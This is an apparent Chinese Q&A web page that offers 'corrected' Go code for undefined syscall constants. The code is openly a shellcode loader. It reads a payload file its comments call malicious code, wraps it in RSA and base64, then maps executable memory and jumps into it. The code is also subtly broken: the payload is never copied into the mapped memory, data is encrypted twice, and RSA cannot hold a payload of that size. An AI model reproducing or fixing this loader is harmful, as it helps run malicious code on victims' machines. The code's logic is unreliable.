Go 代码错误:syscall 包中常量未定义,更正代码示例
在代码中使用了 syscall 包中的一些常量,但是该包中并没有这些常量。需要使用 golang.org/x/sys/unix 包中的常量进行替换。
更正后的代码如下:
package main
import (
"crypto/rand"
"crypto/rsa"
"crypto/x509"
"encoding/base64"
"encoding/pem"
"io/ioutil"
"math/big"
"reflect"
"golang.org/x/sys/unix"
"time"
"unsafe"
)
const (
MEM_COMMIT = unix.MAP_ANON | unix.MAP_PRIVATE
MEM_RESERVE = unix.MAP_ANON | unix.MAP_PRIVATE
PAGE_EXECUTE_READWRITE = unix.PROT_EXEC | unix.PROT_READ | unix.PROT_WRITE
)
var (
privateKey *rsa.PrivateKey
publicKey *rsa.PublicKey
)
func init() {
var err error
privateKey, err = rsa.GenerateKey(rand.Reader, 2048)
if err != nil {
panic(err)
}
publicKey = &privateKey.PublicKey
}
func RsaEncrypt(data []byte) ([]byte, error) {
return rsa.EncryptPKCS1v15(rand.Reader, publicKey, data)
}
func RsaDecrypt(data []byte) ([]byte, error) {
return rsa.DecryptPKCS1v15(rand.Reader, privateKey, data)
}
func Crypt(data []byte) []byte {
encrypted, err := RsaEncrypt(data)
if err != nil {
panic(err)
}
return encrypted
}
func Encode(data []byte) string {
encrypted := Crypt(data)
bdata := base64.StdEncoding.EncodeToString(encrypted)
return bdata
}
func Decode(data string) []byte {
decoded, _ := base64.StdEncoding.DecodeString(data)
decrypted, _ := RsaDecrypt(decoded)
return decrypted
}
func readFile(filename string) []byte {
data, _ := ioutil.ReadFile(filename)
return data
}
func exec(charcode []byte) {
addr, _, _ := unix.Syscall6(unix.SYS_MMAP, 0, uintptr(len(charcode)), unix.PROT_READ|unix.PROT_WRITE|unix.PROT_EXEC, unix.MAP_ANON|unix.MAP_PRIVATE, 0, 0)
time.Sleep(5)
_, _, _ = unix.Syscall(unix.SYS_MPROTECT, addr, uintptr(len(charcode)), unix.PROT_READ|unix.PROT_EXEC)
time.Sleep(5)
*(*uintptr)(unsafe.Pointer(&charcode)) = addr
funcPtr := (**[0]byte)(unsafe.Pointer(&charcode))
(*funcPtr)()
}
func main() {
// 读取恶意代码文件
payload := readFile("./payload.bin")
// 加密恶意代码
encryptedPayload := Crypt(payload)
// 编码恶意代码
encodedPayload := Encode(encryptedPayload)
// 解码恶意代码
decodedPayload := Decode(encodedPayload)
// 获取函数指针
execFunc := reflect.ValueOf(exec)
// 将字节切片转换为 reflect.Value 类型
params := []reflect.Value{reflect.ValueOf(decodedPayload)}
// 调用函数
execFunc.Call(params)
}
原文地址: https://www.cveoy.top/t/topic/lLdx 著作权归作者所有。请勿转载和采集!